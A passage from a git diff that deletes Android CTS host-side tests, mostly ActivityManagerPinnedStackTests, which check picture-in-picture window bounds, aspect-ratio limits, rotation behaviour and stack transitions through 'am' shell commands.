- expectedHeightPx = dpToPx(DEFAULT_HEIGHT_DP, densityDpi);
- }
-
- verifyFrameSizeAndPosition(
- vGravity, hGravity, expectedWidthPx, expectedHeightPx, containingRect, appRect);
- }
-
- private void getDisplayAndWindowState(String activityName, boolean checkFocus)
- throws Exception {
- final String windowName = getWindowName(activityName);
-
- mAmWmState.computeState(mDevice, new String[] {activityName});
-
- if (checkFocus) {
- mAmWmState.assertFocusedWindow("Test window must be the front window.", windowName);
- } else {
- mAmWmState.assertVisibility(activityName, true);
- }
-
- mAmWmState.getWmState().getMatchingVisibleWindowState(windowName, mTempWindowList);
-
- Assert.assertEquals("Should have exactly one window state for the activity.",
- 1, mTempWindowList.size());
-
- mWindowState = mTempWindowList.get(0);
- Assert.assertNotNull("Should have a valid window", mWindowState);
-
- mDisplay = mAmWmState.getWmState().getDisplay(mWindowState.getDisplayId());
- Assert.assertNotNull("Should be on a display", mDisplay);
- }
-
- private void verifyFrameSizeAndPosition(
- int vGravity, int hGravity, int expectedWidthPx, int expectedHeightPx,
- Rectangle containingFrame, Rectangle parentFrame) {
- Assert.assertEquals("Width is incorrect", expectedWidthPx, containingFrame.width);
- Assert.assertEquals("Height is incorrect", expectedHeightPx, containingFrame.height);
-
- if (vGravity == GRAVITY_VER_TOP) {
- Assert.assertEquals("Should be on the top", parentFrame.y, containingFrame.y);
- } else if (vGravity == GRAVITY_VER_BOTTOM) {
- Assert.assertEquals("Should be on the bottom",
- parentFrame.y + parentFrame.height, containingFrame.y + containingFrame.height);
- }
-
- if (hGravity == GRAVITY_HOR_LEFT) {
- Assert.assertEquals("Should be on the left", parentFrame.x, containingFrame.x);
- } else if (hGravity == GRAVITY_HOR_RIGHT){
- Assert.assertEquals("Should be on the right",
- parentFrame.x + parentFrame.width, containingFrame.x + containingFrame.width);
- }
- }
-}
diff --git a/hostsidetests/services/activityandwindowmanager/activitymanager/src/android/server/cts/ActivityManagerPinnedStackTests.java b/hostsidetests/services/activityandwindowmanager/activitymanager/src/android/server/cts/ActivityManagerPinnedStackTests.java
deleted file mode 100644
index 5f63580..0000000
--- a/hostsidetests/services/activityandwindowmanager/activitymanager/src/android/server/cts/ActivityManagerPinnedStackTests.java
+++ /dev/null
@@ -1,1338 +0,0 @@
-/*
- * Copyright (C) 2016 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- * http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License
- */
-
-package android.server.cts;
-
-import static android.server.cts.ActivityAndWindowManagersState.DEFAULT_DISPLAY_ID;
-import static android.server.cts.ActivityManagerState.STATE_STOPPED;
-
-import android.server.cts.ActivityManagerState.ActivityStack;
-import android.server.cts.ActivityManagerState.ActivityTask;
-
-import java.awt.Rectangle;
-import java.lang.Exception;
-import java.lang.String;
-import java.util.ArrayList;
-import java.util.List;
-import java.util.regex.Matcher;
-import java.util.regex.Pattern;
-
-/**
- * Build: mmma -j32 cts/hostsidetests/services
- * Run: cts/hostsidetests/services/activityandwindowmanager/util/run-test CtsServicesHostTestCases android.server.cts.ActivityManagerPinnedStackTests
- */
-public class ActivityManagerPinnedStackTests extends ActivityManagerTestBase {
- private static final String TEST_ACTIVITY = "TestActivity";
- private static final String TEST_ACTIVITY_WITH_SAME_AFFINITY = "TestActivityWithSameAffinity";
- private static final String TRANSLUCENT_TEST_ACTIVITY = "TranslucentTestActivity";
- private static final String NON_RESIZEABLE_ACTIVITY = "NonResizeableActivity";
- private static final String RESUME_WHILE_PAUSING_ACTIVITY = "ResumeWhilePausingActivity";
- private static final String PIP_ACTIVITY = "PipActivity";
- private static final String PIP_ACTIVITY2 = "PipActivity2";
- private static final String PIP_ACTIVITY_WITH_SAME_AFFINITY = "PipActivityWithSameAffinity";
- private static final String ALWAYS_FOCUSABLE_PIP_ACTIVITY = "AlwaysFocusablePipActivity";
- private static final String LAUNCH_INTO_PINNED_STACK_PIP_ACTIVITY =
- "LaunchIntoPinnedStackPipActivity";
- private static final String LAUNCH_ENTER_PIP_ACTIVITY = "LaunchEnterPipActivity";
- private static final String PIP_ON_STOP_ACTIVITY = "PipOnStopActivity";
-
- private static final String EXTRA_FIXED_ORIENTATION = "fixed_orientation";
- private static final String EXTRA_ENTER_PIP = "enter_pip";
- private static final String EXTRA_ENTER_PIP_ASPECT_RATIO_NUMERATOR =
- "enter_pip_aspect_ratio_numerator";
- private static final String EXTRA_ENTER_PIP_ASPECT_RATIO_DENOMINATOR =
- "enter_pip_aspect_ratio_denominator";
- private static final String EXTRA_SET_ASPECT_RATIO_NUMERATOR = "set_aspect_ratio_numerator";
- private static final String EXTRA_SET_ASPECT_RATIO_DENOMINATOR = "set_aspect_ratio_denominator";
- private static final String EXTRA_SET_ASPECT_RATIO_WITH_DELAY_NUMERATOR =
- "set_aspect_ratio_with_delay_numerator";
- private static final String EXTRA_SET_ASPECT_RATIO_WITH_DELAY_DENOMINATOR =
- "set_aspect_ratio_with_delay_denominator";
- private static final String EXTRA_ENTER_PIP_ON_PAUSE = "enter_pip_on_pause";
- private static final String EXTRA_TAP_TO_FINISH = "tap_to_finish";
- private static final String EXTRA_START_ACTIVITY = "start_activity";
- private static final String EXTRA_FINISH_SELF_ON_RESUME = "finish_self_on_resume";
- private static final String EXTRA_REENTER_PIP_ON_EXIT = "reenter_pip_on_exit";
- private static final String EXTRA_ASSERT_NO_ON_STOP_BEFORE_PIP = "assert_no_on_stop_before_pip";
- private static final String EXTRA_ON_PAUSE_DELAY = "on_pause_delay";
-
- private static final String PIP_ACTIVITY_ACTION_ENTER_PIP =
- "android.server.cts.PipActivity.enter_pip";
- private static final String PIP_ACTIVITY_ACTION_MOVE_TO_BACK =
- "android.server.cts.PipActivity.move_to_back";
- private static final String PIP_ACTIVITY_ACTION_EXPAND_PIP =
- "android.server.cts.PipActivity.expand_pip";
- private static final String PIP_ACTIVITY_ACTION_SET_REQUESTED_ORIENTATION =
- "android.server.cts.PipActivity.set_requested_orientation";
- private static final String PIP_ACTIVITY_ACTION_FINISH =
- "android.server.cts.PipActivity.finish";
- private static final String TEST_ACTIVITY_ACTION_FINISH =
- "android.server.cts.TestActivity.finish_self";
-
- private static final String APP_OPS_OP_ENTER_PICTURE_IN_PICTURE = "PICTURE_IN_PICTURE";
- private static final int APP_OPS_MODE_ALLOWED = 0;
- private static final int APP_OPS_MODE_IGNORED = 1;
- private static final int APP_OPS_MODE_ERRORED = 2;
-
- private static final int ROTATION_0 = 0;
- private static final int ROTATION_90 = 1;
- private static final int ROTATION_180 = 2;
- private static final int ROTATION_270 = 3;
-
- // Corresponds to ActivityInfo.SCREEN_ORIENTATION_LANDSCAPE
- private static final int ORIENTATION_LANDSCAPE = 0;
- // Corresponds to ActivityInfo.SCREEN_ORIENTATION_PORTRAIT
- private static final int ORIENTATION_PORTRAIT = 1;
-
- private static final float FLOAT_COMPARE_EPSILON = 0.005f;
-
- // Corresponds to com.android.internal.R.dimen.config_pictureInPictureMinAspectRatio
- private static final int MIN_ASPECT_RATIO_NUMERATOR = 100;
- private static final int MIN_ASPECT_RATIO_DENOMINATOR = 239;
- private static final int BELOW_MIN_ASPECT_RATIO_DENOMINATOR = MIN_ASPECT_RATIO_DENOMINATOR + 1;
- // Corresponds to com.android.internal.R.dimen.config_pictureInPictureMaxAspectRatio
- private static final int MAX_ASPECT_RATIO_NUMERATOR = 239;
- private static final int MAX_ASPECT_RATIO_DENOMINATOR = 100;
- private static final int ABOVE_MAX_ASPECT_RATIO_NUMERATOR = MAX_ASPECT_RATIO_NUMERATOR + 1;
-
- public void testMinimumDeviceSize() throws Exception {
- if (!supportsPip()) return;
-
- mAmWmState.assertDeviceDefaultDisplaySize(mDevice,
- "Devices supporting picture-in-picture must be larger than the default minimum"
- + " task size");
- }
-
- public void testEnterPictureInPictureMode() throws Exception {
- pinnedStackTester(getAmStartCmd(PIP_ACTIVITY, EXTRA_ENTER_PIP, "true"), PIP_ACTIVITY,
- false /* moveTopToPinnedStack */, false /* isFocusable */);
- }
-
- public void testMoveTopActivityToPinnedStack() throws Exception {
- pinnedStackTester(getAmStartCmd(PIP_ACTIVITY), PIP_ACTIVITY,
- true /* moveTopToPinnedStack */, false /* isFocusable */);
- }
-
- public void testAlwaysFocusablePipActivity() throws Exception {
- pinnedStackTester(getAmStartCmd(ALWAYS_FOCUSABLE_PIP_ACTIVITY),
- ALWAYS_FOCUSABLE_PIP_ACTIVITY, false /* moveTopToPinnedStack */,
- true /* isFocusable */);
- }
-
- public void testLaunchIntoPinnedStack() throws Exception {
- pinnedStackTester(getAmStartCmd(LAUNCH_INTO_PINNED_STACK_PIP_ACTIVITY),
- ALWAYS_FOCUSABLE_PIP_ACTIVITY, false /* moveTopToPinnedStack */,
- true /* isFocusable */);
- }
-
- public void testNonTappablePipActivity() throws Exception {
- if (!supportsPip()) return;
-
- // Launch the tap-to-finish activity at a specific place
- launchActivity(PIP_ACTIVITY,
- EXTRA_ENTER_PIP, "true",
- EXTRA_TAP_TO_FINISH, "true");
- mAmWmState.waitForValidState(mDevice, PIP_ACTIVITY, PINNED_STACK_ID);
- assertPinnedStackExists();
-
- // Tap the screen at a known location in the pinned stack bounds, and ensure that it is
- // not passed down to the top task
- tapToFinishPip();
- mAmWmState.computeState(mDevice, new String[] {PIP_ACTIVITY},
- false /* compareTaskAndStackBounds */);
- mAmWmState.assertVisibility(PIP_ACTIVITY, true);
- }
-
- public void testPinnedStackDefaultBounds() throws Exception {
- if (!supportsPip()) return;
-
- // Launch a PIP activity
- launchActivity(PIP_ACTIVITY, EXTRA_ENTER_PIP, "true");
-
- setDeviceRotation(ROTATION_0);
- WindowManagerState wmState = mAmWmState.getWmState();
- wmState.computeState(mDevice);
- Rectangle defaultPipBounds = wmState.getDefaultPinnedStackBounds();
- Rectangle stableBounds = wmState.getStableBounds();
- assertTrue(defaultPipBounds.width > 0 && defaultPipBounds.height > 0);
- assertTrue(stableBounds.contains(defaultPipBounds));
-
- setDeviceRotation(ROTATION_90);
- wmState = mAmWmState.getWmState();
- wmState.computeState(mDevice);
- defaultPipBounds = wmState.getDefaultPinnedStackBounds();
- stableBounds = wmState.getStableBounds();
- assertTrue(defaultPipBounds.width > 0 && defaultPipBounds.height > 0);
- assertTrue(stableBounds.contains(defaultPipBounds));
- setDeviceRotation(ROTATION_0);
- }
-
- public void testPinnedStackMovementBounds() throws Exception {
- if (!supportsPip()) return;
-
- // Launch a PIP activity
- launchActivity(PIP_ACTIVITY, EXTRA_ENTER_PIP, "true");
-
- setDeviceRotation(ROTATION_0);
- WindowManagerState wmState = mAmWmState.getWmState();
- wmState.computeState(mDevice);
- Rectangle pipMovementBounds = wmState.getPinnedStackMomentBounds();
- Rectangle stableBounds = wmState.getStableBounds();
- assertTrue(pipMovementBounds.width > 0 && pipMovementBounds.height > 0);
- assertTrue(stableBounds.contains(pipMovementBounds));
-
- setDeviceRotation(ROTATION_90);
- wmState = mAmWmState.getWmState();
- wmState.computeState(mDevice);
- pipMovementBounds = wmState.getPinnedStackMomentBounds();
- stableBounds = wmState.getStableBounds();
- assertTrue(pipMovementBounds.width > 0 && pipMovementBounds.height > 0);
- assertTrue(stableBounds.contains(pipMovementBounds));
- setDeviceRotation(ROTATION_0);
- }
-
- public void testPinnedStackOutOfBoundsInsetsNonNegative() throws Exception {
- if (!supportsPip()) return;
-
- final WindowManagerState wmState = mAmWmState.getWmState();
-
- // Launch an activity into the pinned stack
- launchActivity(PIP_ACTIVITY,
- EXTRA_ENTER_PIP, "true",
- EXTRA_TAP_TO_FINISH, "true");
- mAmWmState.waitForValidState(mDevice, PIP_ACTIVITY, PINNED_STACK_ID);
-
- // Get the display dimensions
- WindowManagerState.WindowState windowState = getWindowState(PIP_ACTIVITY);
- WindowManagerState.Display display = wmState.getDisplay(windowState.getDisplayId());
- Rectangle displayRect = display.getDisplayRect();
-
- // Move the pinned stack offscreen
- String moveStackOffscreenCommand = String.format("am stack resize 4 %d %d %d %d",
- displayRect.width - 200, 0, displayRect.width + 200, 500);
- executeShellCommand(moveStackOffscreenCommand);
-
- // Ensure that the surface insets are not negative
- windowState = getWindowState(PIP_ACTIVITY);
- Rectangle contentInsets = windowState.getContentInsets();
- assertTrue(contentInsets.x >= 0 && contentInsets.y >= 0 && contentInsets.width >= 0 &&
- contentInsets.height >= 0);
- }
-
- public void testPinnedStackInBoundsAfterRotation() throws Exception {
- if (!supportsPip()) return;
-
- // Launch an activity into the pinned stack
- launchActivity(PIP_ACTIVITY,
- EXTRA_ENTER_PIP, "true",
- EXTRA_TAP_TO_FINISH, "true");
- mAmWmState.waitForValidState(mDevice, PIP_ACTIVITY, PINNED_STACK_ID);
-
- // Ensure that the PIP stack is fully visible in each orientation
- setDeviceRotation(ROTATION_0);
- assertPinnedStackActivityIsInDisplayBounds(PIP_ACTIVITY);
- setDeviceRotation(ROTATION_90);
- assertPinnedStackActivityIsInDisplayBounds(PIP_ACTIVITY);
- setDeviceRotation(ROTATION_180);
- assertPinnedStackActivityIsInDisplayBounds(PIP_ACTIVITY);
- setDeviceRotation(ROTATION_270);
- assertPinnedStackActivityIsInDisplayBounds(PIP_ACTIVITY);
- setDeviceRotation(ROTATION_0);
- }
-
- public void testEnterPipToOtherOrientation() throws Exception {
- if (!supportsPip()) return;
-
- // Launch a portrait only app on the fullscreen stack
- launchActivity(TEST_ACTIVITY,
- EXTRA_FIXED_ORIENTATION, String.valueOf(ORIENTATION_PORTRAIT));
- // Launch the PiP activity fixed as landscape
- launchActivity(PIP_ACTIVITY,
- EXTRA_FIXED_ORIENTATION, String.valueOf(ORIENTATION_LANDSCAPE));
- // Enter PiP, and assert that the PiP is within bounds now that the device is back in
- // portrait
- executeShellCommand("am broadcast -a " + PIP_ACTIVITY_ACTION_ENTER_PIP);
- mAmWmState.waitForValidState(mDevice, PIP_ACTIVITY, PINNED_STACK_ID);
- assertPinnedStackExists();
- assertPinnedStackActivityIsInDisplayBounds(PIP_ACTIVITY);
- }
-
- public void testEnterPipAspectRatioMin() throws Exception {
- testEnterPipAspectRatio(MIN_ASPECT_RATIO_NUMERATOR, MIN_ASPECT_RATIO_DENOMINATOR);
- }
-
- public void testEnterPipAspectRatioMax() throws Exception {
- testEnterPipAspectRatio(MAX_ASPECT_RATIO_NUMERATOR, MAX_ASPECT_RATIO_DENOMINATOR);
- }
-
- private void testEnterPipAspectRatio(int num, int denom) throws Exception {
- if (!supportsPip()) return;
-
- launchActivity(PIP_ACTIVITY,
- EXTRA_ENTER_PIP, "true",
- EXTRA_ENTER_PIP_ASPECT_RATIO_NUMERATOR, Integer.toString(num),
- EXTRA_ENTER_PIP_ASPECT_RATIO_DENOMINATOR, Integer.toString(denom));
- assertPinnedStackExists();
-
- // Assert that we have entered PIP and that the aspect ratio is correct
- Rectangle pinnedStackBounds =
- mAmWmState.getAmState().getStackById(PINNED_STACK_ID).getBounds();
- assertTrue(floatEquals((float) pinnedStackBounds.width / pinnedStackBounds.height,
- (float) num / denom));
- }
-
- public void testResizePipAspectRatioMin() throws Exception {
- testResizePipAspectRatio(MIN_ASPECT_RATIO_NUMERATOR, MIN_ASPECT_RATIO_DENOMINATOR);
- }
-
- public void testResizePipAspectRatioMax() throws Exception {
- testResizePipAspectRatio(MAX_ASPECT_RATIO_NUMERATOR, MAX_ASPECT_RATIO_DENOMINATOR);
- }
-
- private void testResizePipAspectRatio(int num, int denom) throws Exception {
- if (!supportsPip()) return;
-
- launchActivity(PIP_ACTIVITY,
- EXTRA_ENTER_PIP, "true",
- EXTRA_SET_ASPECT_RATIO_NUMERATOR, Integer.toString(num),
- EXTRA_SET_ASPECT_RATIO_DENOMINATOR, Integer.toString(denom));
- assertPinnedStackExists();
-
- // Hacky, but we need to wait for the enterPictureInPicture animation to complete and
- // the resize to be called before we can check the pinned stack bounds
- final boolean[] result = new boolean[1];
- mAmWmState.waitForWithAmState(mDevice, (state) -> {
- Rectangle pinnedStackBounds = state.getStackById(PINNED_STACK_ID).getBounds();
- boolean isValidAspectRatio = floatEquals(
- (float) pinnedStackBounds.width / pinnedStackBounds.height,
- (float) num / denom);
- result[0] = isValidAspectRatio;
- return isValidAspectRatio;
- }, "Waiting for pinned stack to be resized");
- assertTrue(result[0]);
- }
-
- public void testEnterPipExtremeAspectRatioMin() throws Exception {
- testEnterPipExtremeAspectRatio(MIN_ASPECT_RATIO_NUMERATOR,
- BELOW_MIN_ASPECT_RATIO_DENOMINATOR);
- }
-
- public void testEnterPipExtremeAspectRatioMax() throws Exception {
- testEnterPipExtremeAspectRatio(ABOVE_MAX_ASPECT_RATIO_NUMERATOR,
- MAX_ASPECT_RATIO_DENOMINATOR);
- }
-
- private void testEnterPipExtremeAspectRatio(int num, int denom) throws Exception {
- if (!supportsPip()) return;
-
- // Assert that we could not create a pinned stack with an extreme aspect ratio
- launchActivity(PIP_ACTIVITY,
- EXTRA_ENTER_PIP, "true",
- EXTRA_ENTER_PIP_ASPECT_RATIO_NUMERATOR, Integer.toString(num),
- EXTRA_ENTER_PIP_ASPECT_RATIO_DENOMINATOR, Integer.toString(denom));
- assertPinnedStackDoesNotExist();
- }
-
- public void testSetPipExtremeAspectRatioMin() throws Exception {
- testSetPipExtremeAspectRatio(MIN_ASPECT_RATIO_NUMERATOR,
- BELOW_MIN_ASPECT_RATIO_DENOMINATOR);
- }
-
- public void testSetPipExtremeAspectRatioMax() throws Exception {
- testSetPipExtremeAspectRatio(ABOVE_MAX_ASPECT_RATIO_NUMERATOR,
- MAX_ASPECT_RATIO_DENOMINATOR);
- }
-
- private void testSetPipExtremeAspectRatio(int num, int denom) throws Exception {
- if (!supportsPip()) return;
-
- // Try to resize the a normal pinned stack to an extreme aspect ratio and ensure that
- // fails (the aspect ratio remains the same)
- launchActivity(PIP_ACTIVITY,
- EXTRA_ENTER_PIP, "true",
- EXTRA_ENTER_PIP_ASPECT_RATIO_NUMERATOR,
- Integer.toString(MAX_ASPECT_RATIO_NUMERATOR),
- EXTRA_ENTER_PIP_ASPECT_RATIO_DENOMINATOR,
- Integer.toString(MAX_ASPECT_RATIO_DENOMINATOR),
- EXTRA_SET_ASPECT_RATIO_NUMERATOR, Integer.toString(num),
- EXTRA_SET_ASPECT_RATIO_DENOMINATOR, Integer.toString(denom));
- assertPinnedStackExists();
- Rectangle pinnedStackBounds =
- mAmWmState.getAmState().getStackById(PINNED_STACK_ID).getBounds();
- assertTrue(floatEquals((float) pinnedStackBounds.width / pinnedStackBounds.height,
- (float) MAX_ASPECT_RATIO_NUMERATOR / MAX_ASPECT_RATIO_DENOMINATOR));
- }
-
- public void testDisallowPipLaunchFromStoppedActivity() throws Exception {
- if (!supportsPip()) return;
-
- // Launch the bottom pip activity
- launchActivity(PIP_ON_STOP_ACTIVITY);
- mAmWmState.waitForValidState(mDevice, PIP_ACTIVITY, PINNED_STACK_ID);
-
- // Wait for the bottom pip activity to be stopped
- mAmWmState.waitForActivityState(mDevice, PIP_ON_STOP_ACTIVITY, STATE_STOPPED);
-
- // Assert that there is no pinned stack (that enterPictureInPicture() failed)
- assertPinnedStackDoesNotExist();
- }
-
- public void testAutoEnterPictureInPicture() throws Exception {
- if (!supportsPip()) return;
-
- // Launch a test activity so that we're not over home
- launchActivity(TEST_ACTIVITY);
-
- // Launch the PIP activity on pause
- launchActivity(PIP_ACTIVITY, EXTRA_ENTER_PIP_ON_PAUSE, "true");
- assertPinnedStackDoesNotExist();
-
- // Go home and ensure that there is a pinned stack
- launchHomeActivity();
- assertPinnedStackExists();
- }
-
- public void testAutoEnterPictureInPictureLaunchActivity() throws Exception {
- if (!supportsPip()) return;
-
- // Launch a test activity so that we're not over home
- launchActivity(TEST_ACTIVITY);
-
- // Launch the PIP activity on pause, and have it start another activity on
- // top of itself. Wait for the new activity to be visible and ensure that the pinned stack
- // was not created in the process
- launchActivity(PIP_ACTIVITY,
- EXTRA_ENTER_PIP_ON_PAUSE, "true",
- EXTRA_START_ACTIVITY, getActivityComponentName(NON_RESIZEABLE_ACTIVITY));
- mAmWmState.computeState(mDevice, new String[] {NON_RESIZEABLE_ACTIVITY},
- false /* compareTaskAndStackBounds */);
- assertPinnedStackDoesNotExist();
-
- // Go home while the pip activity is open and ensure the previous activity is not PIPed
- launchHomeActivity();
- assertPinnedStackDoesNotExist();
- }
-
- public void testAutoEnterPictureInPictureFinish() throws Exception {
- if (!supportsPip()) return;
-
- // Launch a test activity so that we're not over home
- launchActivity(TEST_ACTIVITY);
-
- // Launch the PIP activity on pause, and set it to finish itself after
- // some period. Wait for the previous activity to be visible, and ensure that the pinned
- // stack was not created in the process
- launchActivity(PIP_ACTIVITY,
- EXTRA_ENTER_PIP_ON_PAUSE, "true",
- EXTRA_FINISH_SELF_ON_RESUME, "true");
- assertPinnedStackDoesNotExist();
- }
-
- public void testAutoEnterPictureInPictureAspectRatio() throws Exception {
- if (!supportsPip()) return;
-
- // Launch the PIP activity on pause, and set the aspect ratio
- launchActivity(PIP_ACTIVITY,
- EXTRA_ENTER_PIP_ON_PAUSE, "true",
- EXTRA_SET_ASPECT_RATIO_NUMERATOR, Integer.toString(MAX_ASPECT_RATIO_NUMERATOR),
- EXTRA_SET_ASPECT_RATIO_DENOMINATOR, Integer.toString(MAX_ASPECT_RATIO_DENOMINATOR));
-
- // Go home while the pip activity is open to trigger auto-PIP
- launchHomeActivity();
- assertPinnedStackExists();
-
- // Hacky, but we need to wait for the auto-enter picture-in-picture animation to complete
- // and before we can check the pinned stack bounds
- final boolean[] result = new boolean[1];
- mAmWmState.waitForWithAmState(mDevice, (state) -> {
- Rectangle pinnedStackBounds = state.getStackById(PINNED_STACK_ID).getBounds();
- boolean isValidAspectRatio = floatEquals(
- (float) pinnedStackBounds.width / pinnedStackBounds.height,
- (float) MAX_ASPECT_RATIO_NUMERATOR / MAX_ASPECT_RATIO_DENOMINATOR);
- result[0] = isValidAspectRatio;
- return isValidAspectRatio;
- }, "Waiting for pinned stack to be resized");
- assertTrue(result[0]);
- }
-
- public void testAutoEnterPictureInPictureOverPip() throws Exception {
- if (!supportsPip()) return;
-
- // Launch another PIP activity
- launchActivity(LAUNCH_INTO_PINNED_STACK_PIP_ACTIVITY);
- mAmWmState.waitForValidState(mDevice, PIP_ACTIVITY, PINNED_STACK_ID);
- assertPinnedStackExists();
-
- // Launch the PIP activity on pause
- launchActivity(PIP_ACTIVITY, EXTRA_ENTER_PIP_ON_PAUSE, "true");
-
- // Go home while the PIP activity is open to trigger auto-enter PIP
- launchHomeActivity();
- assertPinnedStackExists();
-
- // Ensure that auto-enter pip failed and that the resumed activity in the pinned stack is
- // still the first activity
- final ActivityStack pinnedStack = mAmWmState.getAmState().getStackById(PINNED_STACK_ID);
- assertTrue(pinnedStack.getTasks().size() == 1);
- assertTrue(pinnedStack.getTasks().get(0).mRealActivity.equals(getActivityComponentName(
- ALWAYS_FOCUSABLE_PIP_ACTIVITY)));
- }
-
- public void testDisallowMultipleTasksInPinnedStack() throws Exception {
- if (!supportsPip()) return;
-
- // Launch a test activity so that we have multiple fullscreen tasks
- launchActivity(TEST_ACTIVITY);
-
- // Launch first PIP activity
- launchActivity(PIP_ACTIVITY, EXTRA_ENTER_PIP, "true");
-
- // Launch second PIP activity
- launchActivity(PIP_ACTIVITY2, EXTRA_ENTER_PIP, "true");
-
- final ActivityStack pinnedStack = mAmWmState.getAmState().getStackById(PINNED_STACK_ID);
- assertEquals(1, pinnedStack.getTasks().size());
-
- assertTrue(pinnedStack.getTasks().get(0).mRealActivity.equals(getActivityComponentName(
- PIP_ACTIVITY2)));
-
- final ActivityStack fullScreenStack = mAmWmState.getAmState().getStackById(
- FULLSCREEN_WORKSPACE_STACK_ID);
- assertTrue(fullScreenStack.getBottomTask().mRealActivity.equals(getActivityComponentName(
- PIP_ACTIVITY)));
- }
-
- public void testPipUnPipOverHome() throws Exception {
- if (!supportsPip()) return;
-
- // Go home
- launchHomeActivity();
- // Launch an auto pip activity
- launchActivity(PIP_ACTIVITY,
- EXTRA_ENTER_PIP, "true",
- EXTRA_REENTER_PIP_ON_EXIT, "true");
- assertPinnedStackExists();
-
- // Relaunch the activity to fullscreen to trigger the activity to exit and re-enter pip
- launchActivity(PIP_ACTIVITY);
- mAmWmState.waitForWithAmState(mDevice, (amState) -> {
- return amState.getFrontStackId(DEFAULT_DISPLAY_ID) == FULLSCREEN_WORKSPACE_STACK_ID;
- }, "Waiting for PIP to exit to fullscreen");
- mAmWmState.waitForWithAmState(mDevice, (amState) -> {
- return amState.getFrontStackId(DEFAULT_DISPLAY_ID) == PINNED_STACK_ID;
- }, "Waiting to re-enter PIP");
- mAmWmState.assertFocusedStack("Expected home stack focused", HOME_STACK_ID);
- }
-
- public void testPipUnPipOverApp() throws Exception {
- if (!supportsPip()) return;
-
- // Launch a test activity so that we're not over home
- launchActivity(TEST_ACTIVITY);
-
- // Launch an auto pip activity
- launchActivity(PIP_ACTIVITY,
- EXTRA_ENTER_PIP, "true",
- EXTRA_REENTER_PIP_ON_EXIT, "true");
- assertPinnedStackExists();
-
- // Relaunch the activity to fullscreen to trigger the activity to exit and re-enter pip
- launchActivity(PIP_ACTIVITY);
- mAmWmState.waitForWithAmState(mDevice, (amState) -> {
- return amState.getFrontStackId(DEFAULT_DISPLAY_ID) == FULLSCREEN_WORKSPACE_STACK_ID;
- }, "Waiting for PIP to exit to fullscreen");
- mAmWmState.waitForWithAmState(mDevice, (amState) -> {
- return amState.getFrontStackId(DEFAULT_DISPLAY_ID) == PINNED_STACK_ID;
- }, "Waiting to re-enter PIP");
- mAmWmState.assertFocusedStack("Expected fullscreen stack focused",
- FULLSCREEN_WORKSPACE_STACK_ID);
- }
-
- public void testRemovePipWithNoFullscreenStack() throws Exception {
- if (!supportsPip()) return;
-
- // Start with a clean slate, remove all the stacks but home
- removeStacks(ALL_STACK_IDS_BUT_HOME);
-
- // Launch a pip activity
- launchActivity(PIP_ACTIVITY, EXTRA_ENTER_PIP, "true");
- assertPinnedStackExists();
-
- // Remove the stack and ensure that the task is now in the fullscreen stack (when no
- // fullscreen stack existed before)
- removeStacks(PINNED_STACK_ID);
- assertPinnedStackStateOnMoveToFullscreen(PIP_ACTIVITY, HOME_STACK_ID,
- true /* expectTopTaskHasActivity */, true /* expectBottomTaskHasActivity */);
- }
-
- public void testRemovePipWithVisibleFullscreenStack() throws Exception {
- if (!supportsPip()) return;
-
- // Launch a fullscreen activity, and a pip activity over that
- launchActivity(TEST_ACTIVITY);
- launchActivity(PIP_ACTIVITY, EXTRA_ENTER_PIP, "true");
- assertPinnedStackExists();
-
- // Remove the stack and ensure that the task is placed in the fullscreen stack, behind the
- // top fullscreen activity
- removeStacks(PINNED_STACK_ID);
- assertPinnedStackStateOnMoveToFullscreen(PIP_ACTIVITY, FULLSCREEN_WORKSPACE_STACK_ID,
- false /* expectTopTaskHasActivity */, true /* expectBottomTaskHasActivity */);
- }
-
- public void testRemovePipWithHiddenFullscreenStack() throws Exception {
- if (!supportsPip()) return;
-
- // Launch a fullscreen activity, return home and while the fullscreen stack is hidden,
- // launch a pip activity over home
- launchActivity(TEST_ACTIVITY);
- launchHomeActivity();
- launchActivity(PIP_ACTIVITY, EXTRA_ENTER_PIP, "true");
- assertPinnedStackExists();
-
- // Remove the stack and ensure that the task is placed on top of the hidden fullscreen
- // stack, but that the home stack is still focused
- removeStacks(PINNED_STACK_ID);
- assertPinnedStackStateOnMoveToFullscreen(PIP_ACTIVITY, HOME_STACK_ID,
- false /* expectTopTaskHasActivity */, true /* expectBottomTaskHasActivity */);
- }
-
- public void testMovePipToBackWithNoFullscreenStack() throws Exception {
- if (!supportsPip()) return;
-
- // Start with a clean slate, remove all the stacks but home
- removeStacks(ALL_STACK_IDS_BUT_HOME);
-
- // Launch a pip activity
- launchActivity(PIP_ACTIVITY, EXTRA_ENTER_PIP, "true");
- assertPinnedStackExists();
-
- // Remove the stack and ensure that the task is now in the fullscreen stack (when no
- // fullscreen stack existed before)
- executeShellCommand("am broadcast -a " + PIP_ACTIVITY_ACTION_MOVE_TO_BACK);
- assertPinnedStackStateOnMoveToFullscreen(PIP_ACTIVITY, HOME_STACK_ID,
- false /* expectTopTaskHasActivity */, true /* expectBottomTaskHasActivity */);
- }
-
- public void testMovePipToBackWithVisibleFullscreenStack() throws Exception {
- if (!supportsPip()) return;
-
- // Launch a fullscreen activity, and a pip activity over that
- launchActivity(TEST_ACTIVITY);
- launchActivity(PIP_ACTIVITY, EXTRA_ENTER_PIP, "true");
- assertPinnedStackExists();
-
- // Remove the stack and ensure that the task is placed in the fullscreen stack, behind the
- // top fullscreen activity
- executeShellCommand("am broadcast -a " + PIP_ACTIVITY_ACTION_MOVE_TO_BACK);
- assertPinnedStackStateOnMoveToFullscreen(PIP_ACTIVITY, FULLSCREEN_WORKSPACE_STACK_ID,
- false /* expectTopTaskHasActivity */, true /* expectBottomTaskHasActivity */);
- }
-
- public void testMovePipToBackWithHiddenFullscreenStack() throws Exception {
- if (!supportsPip()) return;
-
- // Launch a fullscreen activity, return home and while the fullscreen stack is hidden,
- // launch a pip activity over home
- launchActivity(TEST_ACTIVITY);
- launchHomeActivity();
- launchActivity(PIP_ACTIVITY, EXTRA_ENTER_PIP, "true");
- assertPinnedStackExists();
-
- // Remove the stack and ensure that the task is placed on top of the hidden fullscreen
- // stack, but that the home stack is still focused
- executeShellCommand("am broadcast -a " + PIP_ACTIVITY_ACTION_MOVE_TO_BACK);
